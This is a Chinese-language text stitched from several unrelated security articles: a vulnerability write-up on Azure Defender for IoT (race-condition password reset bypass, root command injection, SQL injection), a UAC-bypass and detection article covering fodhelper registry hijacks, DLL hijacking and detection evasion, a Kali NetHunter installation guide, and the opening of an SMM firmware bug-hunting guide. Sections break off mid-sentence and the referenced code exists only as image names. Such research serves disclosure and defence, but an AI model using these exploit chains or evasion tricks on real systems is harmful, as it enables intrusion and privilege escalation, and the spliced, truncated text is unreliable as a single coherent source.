3.png

解密密鑰在所有安裝中共享。

提取數據後,我們找到了Web 界面的源代碼(用Python 編寫)並開始工作。

首先,我們的目標是找到任何公開的未經身份驗證的API,並查找其中的漏洞。

尋找潛在的漏洞urls.py 文件包含Web 應用程序的主要路由:

4.png

使用Jetbrains IntelliJ 的類層次結構功能,我們可以輕鬆識別不需要身份驗證的路由控制器。

5.jpg

不需要身份驗證的路由控制器從BaseHandler 繼承並且不驗證身份驗證或需要秘密令牌的每個控制器在此時都是一個很好的候選者。

Azure 的密碼恢復機制管理和傳感器的密碼恢復機制操作如下:

1.訪問管理/傳感器URL(例如,https://ip/login#/dashboard);

2.進入“密碼恢復”頁面;

6.jpg

3.將此頁面中提供的ApplianceID 複製到Azure 控制台,並獲取你在密碼重置頁面中上傳的密碼重置ZIP 文件。

7.jpg

4.使用步驟2 中提到的表格將簽名的ZIP 文件上傳到管理/傳感器密碼恢復頁面。這個ZIP包含數字簽名的證明,通過數字證書和簽名數據的方式,證明用戶是這台設備的所有者。

5.生成新密碼並顯示給用戶:

5.1實際過程分為對管理/傳感器服務器的兩個請求:

5.1.1上傳簽名的ZIP 證明;

5.1.2密碼恢復;

5.2當上傳ZIP文件時,它被解壓縮到/var/cyberx/reset_password目錄(由zipfileconfigationapihandler處理);

5.3在處理密碼恢復請求時,服務器會執行以下操作:

5.3.1 PasswordRecoveryApiHandler 控制器驗證證書。這將驗證證書是否由根CA 正確簽名。此外,它還會檢查這些證書是否屬於Azure 服務器。

5.3.2向內部Tomcat 服務器發送請求以進一步驗證設備的屬性。

5.3.3如果所有檢查都正確通過,PasswordRecoveryApiHandler將生成一個新密碼並將其返回給用戶。

ZIP 包含以下文件:

IotDefenderSigningCertificate.pem – Azure 公鑰,用於驗證ResetPassword.json 中的數據簽名,由issuer.pem 簽名。

Issuer.pem – 簽署IotDefenderSigningCertificate.pem,由受信任的根CA 簽署。

ResetPassword.json – JSON 應用程序數據,設備的屬性。

ResetPassword.json 文件的內容如下所示:

8.png

根據步驟2,處理文件上傳到reset_password目錄(components\xsense-web\cyberx_web\api\admin.py:1508)的代碼如下:

9.png

如下所示,該代碼將用戶交付的ZIP解壓到上述目錄,並處理密碼恢復請求(cyberx python庫文件django_helper .py:576):

10.1.png

10.2.png

該函數首先驗證提供的用戶並調用函數_try_reset_password:

11.png

在內部,此代碼會驗證證書,包括頒發者。

之後,對內部API http://127.0.0.1:9090/core/api/v1/login/reset-password 的請求由最終執行以下代碼的Java 組件發出和處理:

11.1+1.png

此代碼再次驗證密碼重置文件。這次它還驗證了ResetPassword.json 文件的簽名及其屬性。

如果一切順利並且Java API 返回200 OK 狀態碼,PasswordRecoveryApiHandler 控制器繼續並生成新密碼並將其返回給用戶。

Defender for IOT 中的漏洞如圖所示,密碼恢復機制由兩個主要部分組成:

Python Web API(外部);

Java Web API(tomcat,內部);

這引入了一個time-of-check-time-of-use(TOCTOU) 漏洞,原因是沒有應用同步機制。

如上所述,重置密碼機制從上傳ZIP 文件開始。這個原語允許我們將任何文件上傳到/var/cyberx/reset_password目錄並將其解壓縮。

可以在第一次驗證(Python API)和第二次驗證(Java API)之間更改/var/cyberx/reset_password 中的文件,Python API文件由Azure 證書正確簽名。然後,Java API 處理要替換的自定義文件,導致它錯誤地同意其真實性並返回200 OK 狀態代碼。

12+1.gif

密碼恢復Java API包含邏輯漏洞,這些漏洞讓專門設計的有效負載繞過了所有驗證。

Java API 驗證JSON 文件的簽名(與上面的代碼相同):

13+1.png

這裡的問題是它沒有驗證IotDefenderSigningCertificate.pem 證書,而不是Python API 驗證。它只檢查JSON 文件中的簽名是否由附加的證書文件簽名,這引入了一個重大漏洞。

因此,攻擊者可以生成自簽名證書並簽署將通過簽名驗證的ResetPassword.json 有效負載。

如前所述,ResetPassword.json 如下所示:

15+1 (2).png

之後,有一個訂閱ID 檢查:

15+1 (1).png

這是遠程攻擊者無法獲得的唯一屬性,並且在合理的時間內無法猜測。但是,可以輕鬆繞過此檢查。

該代碼從JSON 文件中獲取subscriptionId,並將其與machineSubscriptionId 進行比較。但是,這裡的代碼有漏洞。它檢查machineSubscriptionId 是否包含來自用戶控制的JSON 文件的subscriptionId,而不是相反。contains() 的使用是不安全的。 subscriptionId 採用GUID 格式,這意味著它必須包含連字符。這允許我們通過僅提供單個連字符來繞過此檢查。

接下來,檢查issueDate 和ApplianceId。這已經由密碼恢復頁面(在步驟2 中提到)提供給我們。

現在我們明白了,我們可以繞過Java API 中的所有檢查,這意味著我們只需要成功贏得競爭條件並最終在未經授權的情況下重置密碼。

ZIP上傳界面和密碼恢復界面分開的事實在開發階段派上了用場。

Azure Defender for IoT的被攻擊過程為了準備攻擊,我們需要執行以下操作。

從Azure 門戶獲取合法的密碼恢復ZIP 文件。顯然,我們無法訪問受害設備所屬的Azure 用戶,但我們可以使用任何Azure 用戶並生成一個“虛擬”ZIP 文件。我們只需要恢復ZIP 文件即可獲得合法證書。這可以通過以下URL 完成:

16.png

16.jpg

為此,我們可以創建一個新的試用Azure 帳戶並使用上述接口生成恢復文件。秘密標識符無關緊要,可能包含垃圾。

然後我們需要生成一個自定義的(“壞的”)ZIP 文件。此ZIP 文件將包含兩個文件:

IotDefenderSigningCertificate.pem – 自簽名證書。可以通過以下命令生成:

17+1.png

ResetPassword.json – 屬性數據JSON 文件,由上述自簽名證書籤名並進行相應修改以繞過Java API 驗證。

可以使用以下Java 代碼對該JSON 文件進行簽名:

19 (2).png

如前所述,applianceId 是從密碼恢復頁面獲取的。 tenantId未經驗證,因此可以是任何內容。

issuanceDate參數是自解釋的。

一旦生成並簽名,可以將其添加到ZIP 壓縮文件並供以下Python 漏洞利用腳本使用:

19 (1).png

19.2+1.png

benign.zip文件是從Azure 門戶獲取的ZIP 文件,而malicious.zip文件是如上所述的自定義ZIP 文件。

上面的漏洞利用腳本執行TOCTOU 攻擊以重置並接收cyberx用戶名的密碼,而無需任何身份驗證。它通過使用三個線程來實現:

looper_benign – 負責無限循環上傳良性ZIP 文件;

looper_malicious – 與looper_benign相同,但是上傳惡意ZIP,在這個配置中有1秒的超時時間;

looper_recover – 發送密碼恢復請求以觸發易受攻擊的代碼;

不幸的是,文檔提到ZIP 文件不能被篡改。

21+1.jpg

該漏洞在CVE-2021-42310中得到了恢復。

以root #1 身份執行未經身份驗證的遠程代碼至此,我們可以獲得特權用戶cyberx的密碼。這允許我們登錄到SSH 服務器並以root 身份執行代碼。即使沒有這個,攻擊者也可以使用更隱蔽的方法來執行代碼。

使用獲取的密碼登錄後,攻擊面大大增加。例如,我們在更改密碼機制中發現了一個簡單的命令注入漏洞:

來自components\xsense-web\cyberx_web\api\authentication.py:151:

21+1.png

該函數接收來自用戶的三個JSON 字段,“username”、“password”、“new_password”。

首先,它驗證我們已經擁有的用戶名和密碼。接下來,它只使用正則表達式檢查密碼的複雜性,但不清理命令注入原語的輸入。

在驗證之後,它使用攻擊者控制的用戶名和新密碼以root身份執行/usr/local/bin/cyberx-users-password-reset腳本。由於該函數沒有正確地對“new_password”的輸入進行清理,所以我們可以注入任何我們選擇的命令。我們的命令將在sudo的幫助下以root用戶的身份執行,這讓我們可以以root用戶的身份執行代碼:

這可以通過以下HTTP 數據包來利用:

22+1.png

該漏洞在CVE-2021-42312中被修復。

POC接下來,我們將介紹兩個額外的路由和新漏洞,以及流量處理框架中的一個漏洞。

這些漏洞是基本的SQL 注入(稍加改動),但它們對產品和組織網絡的安全性有很大影響。

CVE-2021-42313DynamicTokenAuthenticationBaseHandler類繼承自BaseHandler類,不需要身份驗證。這個類包含兩個容易被SQL注入的函數(get_version_from_db, uuid_is_connected)。

25.png

如上所示,UUI

惡意軟件通常需要計算機上的完全管理權限來執行更有影響的操作,如添加逃避防病毒軟件檢測、加密安全文件或向感興趣的系統進程中註入代碼。即使目標用戶擁有管理權限,用戶帳戶控制(UAC)的流行也意味著惡意應用程序通常默認為中等完整性,從而阻止對具有較高完整性級別的資源的寫入訪問。要繞過這個限制,攻擊者將需要一種無需用戶交互(無UAC 提示)靜默提升完整性級別的方法。這種技術被稱為繞過用戶帳戶控制,它依賴於各種原語和條件,其中大部分基於搭載提升的Windows 功能。

以Medium 身份運行的cscript.exe 示例通過UAC 繞過生成具有高完整性的cmd.exe 實例:

1.png

大多數UAC 驗證邏輯是在應用程序信息(AppInfo) 服務中實現的。我們將在本文介紹一組UAC 繞過,調查它們所依賴的一些關鍵原語以及對應的檢測方式。

UAC 繞過方法UAC 繞過方法通常會通過生成惡意子進程或加載繼承目標應用程序提升的完整性級別的惡意模塊來劫持提升的應用程序的正常執行流程。

還有一些其他極端情況,但最常見的劫持方法是:

2.png

註冊表鍵操作操作註冊表鍵的目的是將提升程序的執行流程重定向到受控命令。最常被濫用的鍵值與特定擴展的shell 打開命令(取決於目標程序)或windir/systemroot 環境變量操作有關:

HKCU\\Software\\Classes\\\shell\\open\command(默認或DelegateExecute值);

HKCU\\Environment\\windir;

HKCU\\Environment\\systemroot;例如,當fodhelper(一個Windows二進製文件,允許提升而不需要UAC提示)被惡意軟件作為Medium完整性進程啟動時,Windows會自動將fodhelper從Medium完整性進程提升到High完整性進程。然後,高完整性fodhelper嘗試使用其默認的處理程序打開ms-settings文件。由於中等完整性的惡意軟件已經劫持了這個處理程序,被提升的fodhelper將執行攻擊者選擇的一個命令作為一個高完整性進程。

3.png

3.2.png

下面是一個Glupteba 惡意軟件的示例,它利用這種方法首先從中等完整性進程提升到高完整性過程,然後通過令牌操縱(令牌竊取)從高完整性進程提升到系統完整性:

4.png

操縱Windows 環境變量註冊表鍵的UAC 繞過示例是byeintegrity5。為了說明這一點,此繞過使用此原語重定向CDSSync 計劃任務的正常執行流程(設置為以最高權限運行),並提升完整性級別,如下所示。

5.png

當CDSSync 計劃任務運行時,taskhostw.exe 會嘗試從%windir%\System32 文件夾加載npmproxy.dll,但因為惡意軟件控制了%windir%,它可以重定向taskhostw.exe從它控制的路徑加載一個名為npmproxy.dll的DLL,如下所示。

6.png

當UAC 設置為Always Notify(最高UAC 級別)時,基於環境變量操作的UAC 繞過通常會起作用,因為它們通常不涉及將文件寫入安全路徑或啟動自動提升應用程序。從當前用戶註冊表更改SystemRoot 或Windir 到非預期值是非常可疑的,應該是檢測的高置信度信號。

DLL 劫持DLL劫持方法通常包括找到一個丟失的DLL(通常是一個丟失的依賴項),或者通過將一個惡意的DLL加載到一個提升進程中來贏得DLL文件寫入進程。如果UAC 已啟用但未設置為Always Notify,則惡意軟件可以執行提升的IFileOperation(無UAC 提示)來創建/複製/重命名或將DLL 文件移動到受信任的路徑(即System32),然後觸發提升的程序加載惡意DLL 而不是預期的。

IFileOperation 由dllhost.exe(COM 代理)執行,其中process.command_line 包含classId {3AD05575-8857-4850-9277-11B85BDB8E09}。

7.png

我們可以使用以下EQL 關聯來鏈接dllhost.exe 的任何文件操作,然後將一個非microsoft簽名的DLL加載到一個運行系統完整性的進程中:

8.png

這是一個檢測UACME 30將wow64log.dll側載到作為系統運行的WerFault.exe實例的示例(它提供了一個很好的從Medium到System完整性的直接跳轉),如下所示。

9.png

如果UAC 設置為Always Notify,則查找丟失的DLL 或贏得文件寫入競爭條件到可由中等完整性進程寫入的路徑是一個有效選項。這是UAC 繞過劫持SilentCleanup 計劃任務(通過文件寫入競爭條件)的示例,該任務會產生從AppData 子文件夾(可由中等完整性寫入)執行的高完整性後代進程DismHost.exe,這是另一個濫用相同的變體任務,但缺少依賴項api-ms-win-core-kernel32-legacy-l1.dll。

10.png

另一個可以實現相同目標的DLL 劫持原語是使用DLL 加載重定向,方法是在目標提升程序的同一目錄中創建一個文件夾(例如target_program.exe.local 並在其中放置一個將被加載而不是預期的DLL )。

此技術也可用作本地權限提升的原語,以防漏洞允許創建文件夾(具有許可的訪問控制列表)到受控位置,例如Jonas Lykkegård 在本文中描述的從directory deletion到SYSTEM shell的內容。

11.png

此查詢與UACME 方法22 匹配,該方法針對consent.exe(作為系統執行),欺騙它從SxS DotLocal目錄加載comctl32.dll,而不是System32:

12.png

值得一提的是,大多數通過DLL 劫持繞過UAC 對持久性也很有用,並且可能會繞過基於自動運行(已知文件和註冊表持久性位置)的檢測。

提升的COM 接口此方法與前面的方法稍有不同,這意味著不涉及直接操作重定向。相反,它依賴於找到一個提升的COM 接口,該接口公開了某種形式的執行能力(即CreateProcess/ShellExec 包裝器),可以調用它來啟動一個通過中等完整性進程的參數傳遞的特權程序。

從操作的角度來看,通常這些COM 接口將在dllhost.exe(COM 代理)的上下文中執行,其中process.command_line 包含目標COM 對象的classId,這通常會導致創建高完整性子進程。

以下是不同的惡意軟件家族採用這種方法進行UAC繞過的例子(如DarkSide和LockBit勒索軟件家族),在啟動加密和逃避能力之前提高完整性水平,很難預防:

13.png

令牌安全屬性James Forshaw 對利用進程令牌安全屬性來識別作為自動提升應用程序的後代啟動的進程的可能性進行了深入的觀察。

ProcessHacker 也捕獲此類信息。下面是通過fodhelper UAC 繞過啟動的notepad.exe 實例的令牌屬性示例。

14.png

LUA://HdAutoAp屬性意味著它是一個自動提升的應用程序(也為提升的COM對象和AppInfo硬編碼的白名單進程填充)。 DecHdAutoAp意味著它是一個自動提升應用程序的後代,這在跟踪通過UAC繞過生成的進程樹時非常有用。

Elastic Endpoint 安全7.16 及更高版本通過流程執行事件(process.Ext.token.security_attributes) 捕獲此信息,這為在沒有先驗知識的情況下尋找和檢測UAC 繞過劫持自動提升程序或COM 接口的執行流提供了機會繞過細節(目標二進制、COM 接口、重定向方法和其他重要細節):

可疑的自動提升程序子進程:

15.1.png

15.2.png

15.3.png

上面的查詢還匹配UAC旁路的所有後代進程,而不僅僅是直接子進程。

我們可以看到這種方法通過註冊表鍵操作檢測fodhelper 執行流劫持:

16.png

這是通過模擬受信任目錄的匹配UAC 繞過的示例:

17.png

以下是通過Elevated COM 接口匹配3 種不同UAC 旁路的示例:

18.png

逃避檢測有研究人員發表了一篇文章,討論了許多不限於繞過UAC 的逃避技術,例如重命名文件夾或註冊表鍵、註冊表符號鏈接以基於特定文件路徑/註冊表鍵更改或不同的關聯來破壞檢測邏輯同一過程的事件。不過大多數惡意軟件家族都不會費心修改和調整這些技術。

下面是一個通過目錄重命名(UACME 22)逃避文件監控的示例。

19.png

下面是一個通過鍵重命名(byyeintegrity8)來監控註冊表鍵路徑逃避的示例。

20.png

最近添加到UACME v.3.5.7 的另一個有趣的逃避技巧是CurVer 子鍵,可用於重定向shell 默認處理程序。這有效地繞過了尋找硬編碼可疑註冊表路徑/值的檢測:

21.png

對於與DLL劫持相關的基於文件的檢測,最好使用DLL加載事件(Elastic Endpoint Security 7.16日誌非microsoft簽名的DLL)。對於註冊表來說,需要混合註冊表。字符串和值名應該比完整的鍵路徑更有彈性。

下面的EQL相關示例展示瞭如何檢測偽裝成System32 的目錄中的DLL 加載(即作為windir/systemroot 環境變量修改的結果):

22.png

此示例顯示了兩種不同的匹配技術(註冊表鍵操作和通過虛假Windir劫持DLL):

23.png

下一個示例結合了註冊表符號鏈接和註冊表鍵重命名,以逃避基於註冊表鍵更改監視(ms-settings 或shell\open\command)的fodhelper UAC 繞過檢測:

24.png

UACME v.3.5及以上版本實現了對涉及註冊表鍵操作的方法的這種逃避。

你可以使用Elastic Endpoint或Sysmon日誌查找註冊表符號鏈接的創建,方法是查找值名稱等於SymbolicLinkValue的註冊表修改。

用於檢測此逃避的示例KQL 查詢是:registry.value :'SymbolicLinkValue' 和registry.key :S-1-5-21-15Classes\\*`:

25.png

最常見的UAC 繞過在野外使用的惡意軟件家族回不斷變化和迭代。以下是惡意軟件家族常用的UAC繞過方法:

26.1.png

26.2.png

通過UAC 繞過最常見的執行命令是惡意軟件以高完整性重新執行自身或防禦逃避技術,例如:

篡改AV 防禦策略;

寫入受HKLM 保護的註冊表鍵;

篡改系統恢復設置;

總結在這篇文章中,我們介紹了UAC繞過的主要方法,以及如何檢測它們,以及如何用令牌安全屬性豐富流程執行事件,使我們能夠創建一個更廣泛的檢測邏輯,以匹配未知的繞過。

0x00 前言Android滲透平台搭建的系列文章將要介紹在Android設備上搭建各種用於滲透的操作系統。

本文作為第一篇,將要介紹Android設備Nexus6P安裝Kali NetHunter的方法,記錄細節。

Kali NetHunter目前最新的版本為2022年1月,對於這個版本,還沒有一個完整的安裝指南。

0x01 簡介本文將要介紹以下內容:

Kali NetHunter的不同版本

Nexus6P安裝Kali NetHunter

0x02 Kali NetHunter的不同版本參考資料:

https://www.kali.org/docs/nethunter/

Kali NetHunter分為三個不同的版本:

NetHunter Rootless,不需要root,不需要TWRP,可以從https://store.nethunter.com/下載apk安裝,不支持Wifi和HID攻擊

NetHunter Lite,不需要root,需要TWRP,功能不完整

NetHunter,需要root,需要TWRP,只支持部分Android設備,功能最完整

為了能夠完整的體驗Kali NetHunter的功能,我們需要安裝NetHunter,支持的設備型號可參考:https://stats.nethunter.com/nethunter-images.html

這裡選取官方首推的低端設備Nexus6P (Oreo),介紹安裝方法

0x03 Nexus6P (Oreo)安裝Kali NetHunter基本概念:

adb:全稱Android Debug Bridge,用來調試設備

fastboot:常用功能為設備解鎖,刷寫img文件,格式化系統分區和運行img文件

TWRP:全稱Team Win Recovery Project,常用功能為刷機、備份和恢復

Magisk:常用功能為獲得root權限

總體流程如下:

1.開啟Nexus6P的OEM unlocking和USB debugging

2.使用adb進入Bootloder模式

3.使用fastboot刷入TWRP

4.通過TWRP安裝Android系統鏡像Oreo

5.通過TWRP安裝Kali NetHunter和Magisk

具體步驟如下:

1.下載文件(1)adb和fastboot

需要下載到Windows系統並配置環境變量

這裡可以選擇一鍵下載配置,下載地址:https://forum.xda-developers.com/t/official-tool-windows-adb-fastboot-and-drivers-15-seconds-adb-installer-v1-4-3.2588979/#post-48915118

運行adb-setup-1.4.3.exe按照提示即可

(2)TWRP

下載頁面:https://dl.twrp.me/angler/

這裡選擇twrp-3.6.1_9-0-angler.img,下載地址:https://dl.twrp.me/angler/twrp-3.6.1_9-0-angler.img.html

將twrp-3.6.1_9-0-angler.img保存在Windows系統中,可通過fastboot刷入Nexus6P

(3)Oreo

Oreo是指Android 8的系統鏡像

下載頁面:https://developers.google.com/android/images

這裡選擇8.0.0 (OPR5.170623.014, Dec 2017),下載地址:https://dl.google.com/dl/android/aosp/angler-ota-opr5.170623.014-234956cb.zip

(4)Magisk

下載頁面:https://github.com/topjohnwu/Magisk

這裡選擇Magisk-v21.4.zip,下載地址:https://github.com/topjohnwu/Magisk/releases/download/v21.4/Magisk-v21.4.zip

(5)Kali NetHunter

下載地址:https://kali.download/nethunter-images/kali-2022.1/nethunter-2022.1-angler-oreo-kalifs-full.zip

2.解鎖Nexus6P的Bootloader(1)啟動開發者選項

打開Nexus6P,依次選擇Settings - System - About phone,多次點擊Build number可啟動Developer options

(2)修改手機設置

點擊Developer options,打開OEM unlocking和USB debugging

(3)連接設備

通過USB數據線將Nexus6P連接Windows系統

(4)解鎖

Windows系統的命令行執行:

adbrebootbootloader等待Nexus6P重啟,進入Bootloader模式

Windows系統的命令行執行:

fastbootflashingunlockNexus6P用音量+選擇yes,按電源鍵進行確認

至此,解鎖完成。解鎖後每次開機會出現提示Your device software can't be checked for corruption. Please lock the bootloader. PRESS POWER TO PAUSE BOOT

3.刷入TWRP(1)進入Bootloader模式

關機狀態下,同時按住電源鍵和音量-

(2)連接設備

通過USB數據線將Nexus6P連接Windows系統

通過Windows系統命令行查看設備:

fastbootdevices能夠獲得回顯

(3)刷入TWRP

Windows系統的命令行執行:

fastbootflashrecoverytwrp-3.6.1_9-0-angler.img如下圖

b991f6c1ba9ed3d7b6cc4f55aea1b02.png

(4)Nexus6P啟動TWRP

Nexus6P用音量-切換到Recovery mode,按電源鍵進行確認

等待Nexus6P啟動TWRP

4.將文件複製到Nexus6P(1)Oreo

將鏡像文件angler-ota-opr5.170623.014-234956cb.zip複製到手機的根目錄下

在Nexus6P啟動TWRP後,Windows系統可以訪問手機內的文件,可以進行文件複製操作,如下圖

2c8d4f570c61113b83786d9dc2d8def.png

也可以通過adb的push命令複製:adb push angler-ota-opr5.170623.014-234956cb.zip /sdcard

注:

push命令需要等待很長時間

(2)Kali NetHunter

將nethunter-2022.1-angler-oreo-kalifs-full.zip複製到手機的根目錄下

(3)Magisk-v21.4.zip

將Magisk-v21.4.zip複製到手機的根目錄下

5.使用TWRP安裝Oreo 8.0在Nexus6P的TWRP頁面,選擇Install,選擇angler-ota-opr5.170623.014-234956cb.zip進行安裝

安裝成功後選擇Reboot System

至此,Android Oreo 8.0系統安裝完成

6.使用TWRP安裝Kali NetHunter和Magisk(1)進入TWRP

Nexus6P關機狀態下,同時按住電源鍵和音量-

通過USB數據線將Nexus6P連接Windows系統

Windows系統命令行:

fastboot.exeflashrecoverytwrp-3.6.1_9-0-angler.imgNexus6P用音量-切換到Recovery mode,按電源鍵進行確認

等待Nexus6P啟動TWRP

(2)安裝Kali NetHunter

在Nexus6P的TWRP頁面,選擇Install,選擇nethunter-2022.1-angler-oreo-kalifs-full.zip

需要取消選擇Reboot after installation is complete避免安裝後Nexus6P自動重啟

經過漫長的等待,安裝成功

(3)安裝Magisk-v21.4.zip

在Nexus6P的TWRP頁面,選擇Install,選擇Magisk-v21.4.zip

安裝成功後選擇Reboot System

至此,Kali NetHunter安裝完成

在Nexus6P的應用列表中,能夠看到新安裝的NetHunter、NetHunter Terminal 和NetHunterKeX

0x04 小結本文介紹了在Nexus6P安裝Kali NetHunter的方法,其他設備可依次類推。

自從我們發布UEFI系列文章的最後一篇以來,已經過去了整整一年了。在此期間,固件安全社區比以往任何時候都更加活躍,並發表了一些高質量的出版物。值得注意的樣本包括發現新的UEFI植入物,如MoonBounce和ESPecter,以及最近由Binarly披露的不少於23個高危BIOS漏洞。

在過去的一年裡,我們也在努力尋找和利用SMM漏洞。在花了幾個月的時間後,我們注意到了SMM代碼中一些重複出現的反模式,並對漏洞的潛在可利用性形成了相當好的直覺。最終,在披露了13個這樣的漏洞後,我們成功地結束了2021年的工作,這些漏洞影響了行業中大多數知名的OEM廠商。此外,還有幾個漏洞仍在走負責任的披露流程,應該很快就會公開。

在這篇文章中,我們將為讀者分享與SMM漏洞相關的知識、工具和方法。我們希望,當大家讀完這篇文章時,自己也能挖掘這種固件漏洞。請注意,本文假設讀者已經熟悉SMM術語和內部結構,所以,如果您對這些內容還不夠熟悉的話,我們強烈建議大家先閱讀參考文獻部分列出的資料。現在,讓我們開始吧。

SMM漏洞的分類雖然在理論上,SMM代碼是與外界相互隔離的,但在現實中的某些情況下,非SMM代碼可以觸發甚至影響在SMM內部運行的代碼。因為SMM的架構非常複雜,裡面有很多“活動部件”,所以,因此攻擊面非常大,其中涉及通信緩衝區、NVRAM變量、支持DMA的設備等傳遞的數據,等等。

在下一節中,我們將介紹一些較常見的SMM安全漏洞。對於每種漏洞類型,我們將提供簡短的描述,相應的緩解措施以及檢測策略。請注意,該漏洞清單並不詳盡,只包含SMM環境中特有的漏洞。因此,其中並沒有提及某些非常常見的安全漏洞,如堆棧溢出和重複釋放(double-frees)等漏洞。

系統管理模式調出漏洞(SMM Callout)最基本的SMM漏洞類型被稱為“SMM調出”。每當SMM代碼調用位於SMRAM邊界之外的函數時(如SMRR所定義),就會出現這種漏洞。最常見的調出場景是SMI處理程序:它試圖調用作為其操作的一部分的UEFI啟動服務或運行時服務。擁有操作系統級權限的攻擊者可以在觸發SMI之前修改這些服務所在的物理頁面,從而在受影響的服務被調用後劫持特權執行流程。

1.png

圖1 SMM調出漏洞示意圖

緩解措施最明顯的方法,就是防止寫出這種有問題的代碼;此外,我們也可以在硬件層面提供相應的緩解措施。從第四代酷睿微架構(Haswell)開始,英特爾CPU支持一個名為SMM_Code_Chk_En的安全功能。如果這個安全功能被打開,一旦進入SMM,CPU將被禁止執行位於SMRAM區域之外的任何代碼。您可以將這個功能視為Supervisor Mode Execution Prevention(SMEP)的SMM等價物。

通過執行CHIPSEC的smm_code_chk模塊,可以查詢這種緩解措施的工作狀態。

1.png

圖2 使用chipsec查詢針對SMM調出漏洞的硬件緩解措施

檢測方法針對SMM調出漏洞的靜態檢測方法其實是非常簡單的。在分析給定的SMM二進製文件時,要仔細查找導致調用UEFI啟動或運行時服務的執行流程的SMI處理程序。這樣一來,尋找SMM調出漏洞的問題就被簡化為搜索調用圖中某些路徑的問題。幸運的是,我們根本不需要手動完成這項工作,因為efiXplorer IDA插件已經實現了這種啟發式方法。

正如我們在本系列的前幾篇文章中提到的,efiXplorer能夠提供一站式服務,它已經成為了用IDA分析UEFI二進製文件的事實上的標準方法。它提供了下列功能:

定位和重命名已知的UEFI GUID;

定位和重命名SMI處理程序;

定位和重命名UEFI啟動/運行時服務;

efiXplorer的最新版本使用Hex-Rays反編譯器來改進分析過程。其中一個特點是能夠為傳遞給LocateProtocol()或其SMM對應的SmmLocateProtocol()等方法的接口指針分配正確的類型。

給Ghidra用戶的一點提示:我們還想補充的是,Ghidra插件efiSeek負責上述列表中的所有變更。但是,它不包括efiXplorer所提供的協議窗口和漏洞檢測功能等用戶界面元素。

在完成對輸入文件的分析後,efiXplorer將繼續檢查由SMI處理程序執行的所有調用,從而得到潛在調出的精選清單:

1.png

圖3 efiXplorer發現的調出

1.png

圖4 sub_7F8可以從SMI處理程序訪問,但仍然調用位於SMRAM之外的啟動服務

在大多數情況下,這個啟發式方法工作得很好,但是我們遇到了幾種邊緣情況,這時可能會產生誤報。其中,最常見的誤報是由於使用EFI_SMM_RUNTIME_SERVICES_TABLE所造成的。這是一個UEFI配置表,它暴露了與標準EFI_RUNTIME_SERVICES_TABLE完全相同的功能,唯一顯著的區別是,與它的“標準”對應物不同,它駐留在SMRAM中,因此適合被SMI處理程序所使用。許多SMM二進製文件在完成一些模板式的初始化任務後,經常將全局RuntimeServices指針重新映射到SMM特定的實現:

1.png

圖5 將全局RuntimeService指針重新映射到與SMM兼容的實現上

通過重新映射的指針調用運行時服務,會產生一種乍看之下似乎是調出的情況,儘管仔細檢查會發現並非如此。為了克服這個問題,分析人員應該始終在SMM二進製文件中搜索標識為EFI_SMM_RUNTIME_SERVICES_TABLE的GUID。如果找到這種GUID,則大部分涉及UEFI運行時服務的調出都有可能是誤報。但這並不適用於涉及啟動服務的調出。

1.png

圖6 通過重新映射的RuntimeService指針調用GetVariable()引起的誤報

另一個潛在的誤報來源是各種“雙模式”包裝器函數,這意味著它們可以從SMM和非SMM上下文中進行調用。在內部,如果調用方在SMM中運行,這些函數會派發對SMM服務的調用,否則會派發對等效的啟動/運行時服務的調用。我們在野外看到的最常見的樣本是EDK2的FreePool(),如果要釋放的緩衝區位於SMRAM中,它就調用gSmst-SmmFreePool(),否則就調用gBs-FreePool()。

1.png

圖7 EDK2的FreePool()實用函數是一個常見的誤報來源

正如這個例子所展示的,漏洞分析人員應該意識到,靜態代碼分析技術很難確定某些代碼路徑在實踐中不會被執行,因此,很可能將其標記為調出。在編譯後的二進製文件中識別這種函數的相關技巧和竅門,將在後文中加以介紹。

低址SMRAM損壞類型說明在正常情況下,用於向SMI處理器傳遞參數的通信緩衝區不得與SMRAM重疊。這個限制的理由很簡單:如果不是這樣,那麼每次SMI處理程序將某些數據寫入通信緩衝區的時候——例如,為了向調用方返回狀態代碼時,都會“順帶”修改SMRAM的某些部分,這是不可取的。

1.png

圖8 不應該出現的情況

在EDK2中,負責檢查給定緩衝區是否與SMRAM重疊的函數被稱為SmmIsBufferOutsideSmmValid()。這個函數在每次SMI調用時都會在通信緩衝區上被調用,以便執行這一限制。

1.jpg

圖9 EDK2禁止通信緩衝區與SMRAM重疊

唉,由於通信緩衝區的大小也在攻擊者的控制之下,這種檢查本身並不足以保證全面的保護,因此,一些額外的責任落在了固件開發者的肩上。我們很快就會看到,許多SMI處理程序在這裡出問題了,並留下了一個漏洞,攻擊者可以利用這個漏洞來繞過這個限制,進而破壞SMRAM的低址部分。為了了解為何會出現這種情況,讓我們仔細考察一個具體的例子。

1.jpg

圖10 一個存在安全漏洞的SMI處理程序

上面是現實生活中非常簡單的SMI處理程序。我們可以將其操作分為4步:

檢查參數;

將MSR_IDT_MCR5寄存器的值讀入局部變量;

從中計算一個64位值,然後將結果寫回通信緩衝區;

返回到調用方。

精明的讀者可能知道這樣一個事實,即在第3步中,一個8字節的值被寫入通信緩衝區,但在第1步中,代碼並沒有檢查緩衝區至少8字節長這一先決條件。由於缺乏這項檢查,攻擊者就可以通過以下方式發動攻擊:

將通信緩衝器放到盡可能靠近SMRAM基址的位置(例如SMRAM-1);

將通信緩衝區的大小設置為足夠小的整數值,例如1字節;

觸發易受攻擊的SMI。從原理上講,內存佈局如下所示:

1.jpg

圖11 調用SMI時的內存佈局

就SmmEntryPoint而言,通信緩衝區只有1個字節長,與SMRAM並不重疊。正因為如此,SmmIsBufferOutsideSmmValid()將成功執行,實際的SMI處理程序將被調用。在第3步中,處理程序將盲目地將一個QWORD值寫入通信緩衝區,這樣做會無意中也對SMRAM的低7個字節也執行了寫入操作。

1.jpg

圖12 損壞發生時的內存佈局

根據EDK2,TSEG(SMRAM的事實上的標準位置)的底部包含一個SMM_S3_RESUME_STATE類型的結構體,其工作是控制從S3睡眠狀態的恢復過程。正如下面所看到的,這個結構體包含了大量的成員和函數指針,它們的損壞會使攻擊者受益。

1.jpg

圖13 SMM_S3_RESUME_STATE對象的定義

緩解措施為了緩解這類漏洞,SMI處理程序必須顯式檢查提供的通信緩衝區和bailout的大小,以防實際大小與預期大小不同。這可以通過下列方式實現:

取消對所提供的CommBufferSize參數的引用,然後將其與預期的大小進行比較。該方法之所以有效,是因為我們已經看到SmmEntryPoint調用了SmmIsBufferOutsideSmmValid(CommBuffer, *CommBufferSize),以保證緩衝區的*CommBufferSize字節位於SMRAM之外。

1.jpg

